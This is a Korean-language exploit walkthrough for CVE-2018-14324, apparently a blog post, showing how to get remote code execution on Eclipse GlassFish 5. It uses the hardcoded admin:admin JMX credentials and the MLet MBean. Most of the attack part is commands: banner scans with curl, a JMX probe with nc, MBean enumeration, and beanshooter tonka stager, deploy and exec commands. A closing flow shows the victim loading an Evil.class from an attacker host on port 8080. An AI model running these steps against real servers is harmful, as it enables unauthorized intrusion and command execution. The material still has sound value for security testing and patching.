
Hacking Eclipse GlassFish - CVE-2018-14324
CVE-2018-14324에 대한 설명은 이 취약점의 영향을 완전히 설명하지 않습니다. TLDR: 하드코딩된 admin:admin 자격 증명을 통해 Java Management Extensions(JMX)에 접근할 수 있습니다.
영향이 "잠재적으로 민감한 정보, 데이터베이스 작업 수행, 또는 JMX RMI 세션을 통한 데모 조작"으로 나열되어 있지만, JMX RMI 세션을 통한 조작이 무엇을 의미하는지 설명하지 않습니다.
높은 CVSS 점수 9.8 때문에만 파고들었고, GlassFish 5 인스턴스에서 기본적으로 활성화된 javax.management.loading:type=MLet MBean을 통해 사실상 RCE를 달성할 수 있음을 발견했습니다.
버전 배너를 보고 GlassFish 서버를 열거합니다.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
버전이 5이면 CVE-2018-14324에 취약합니다.
그런 다음 JMX RMI 서비스가 포트 7676에서 실행 중인지 확인합니다.
nc <IP_ADDRESS> 7676
JMX RMI 서비스에 대한 연결 문자열이 표시됩니다. 나중에 사용할 문자열을 가져옵니다.
예:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
보시다시피 연결 문자열에 호스트 이름 vm31465가 사용되며, 8686과 7676의 두 포트가 언급됩니다.
/etc/hosts 파일에 vm31465를 추가하여 IP 주소를 가리키도록 해야 합니다. Beanshooter를 사용하는 경우 필요하지 않습니다.
JMX가 도대체 무엇일까요? Java Management Extensions(JMX)는 Java 애플리케이션에 대한 관리 인터페이스를 구현할 수 있게 해주는 기술입니다. Java 애플리케이션을 위한 SNMP라고 생각하면 됩니다.
먼저 대상 시스템에서 사용 가능한 MBean을 열거합니다.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
이 스크립트를 사용하면 MBean, 해당 속성 및 작업 목록을 얻을 수 있습니다.
Mbean com.sun.management:type=DiagnosticCommand를 사용하면 대상 JVM에서 진단 명령을 실행할 수 있습니다. 이를 사용하여 시스템 속성을 열거할 수 있으며, 자세한 내용은 DiagnosticCommand.java를 참조하십시오.
javax.management.loading:type=MLet이 보이면 대상을 악용할 수 있습니다. 이 MBean을 사용하면 원격 Java 클래스를 대상 JVM에 로드할 수 있습니다.
그러나 Java 보안 관리자가 임의 코드 실행을 방지할 수 있습니다.
RCE에 유일하게 작동한 익스플로잇은 beanshooter의 tomka 모듈이었습니다. 사용자 정의 익스플로잇은 보안 관리자에 의해 차단되었습니다. MLet 로딩은 여전히 작동했지만, 클래스가 코드를 실행할 수 없었습니다.
Beanshooter tomka 모듈을 사용하여 대상을 악용합니다.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
자체 MBean 로더를 작성하고 대상이 MLet 서버에 연결하는지 모니터링하여 디버그할 수도 있습니다. 흐름은 다음과 같습니다:
공격자 -> 피해자:7776 : javax.management.loading:type=MLet MBean 조회
공격자:8080 <- 피해자:7776 : MLet 파일 요청
공격자:8080 -> 피해자:7776 : Java 클래스 파일 URL이 포함된 MLet (예: http://attacker:8080/Evil.class)
공격자:8080 <- 피해자:7776 : Java 클래스 파일 요청
공격자:8080 -> 피해자:7776 : Java 클래스 파일
공격자 -> 피해자:7776 : 로드된 Java 클래스에서 메서드 호출 (예: Evil.listFiles())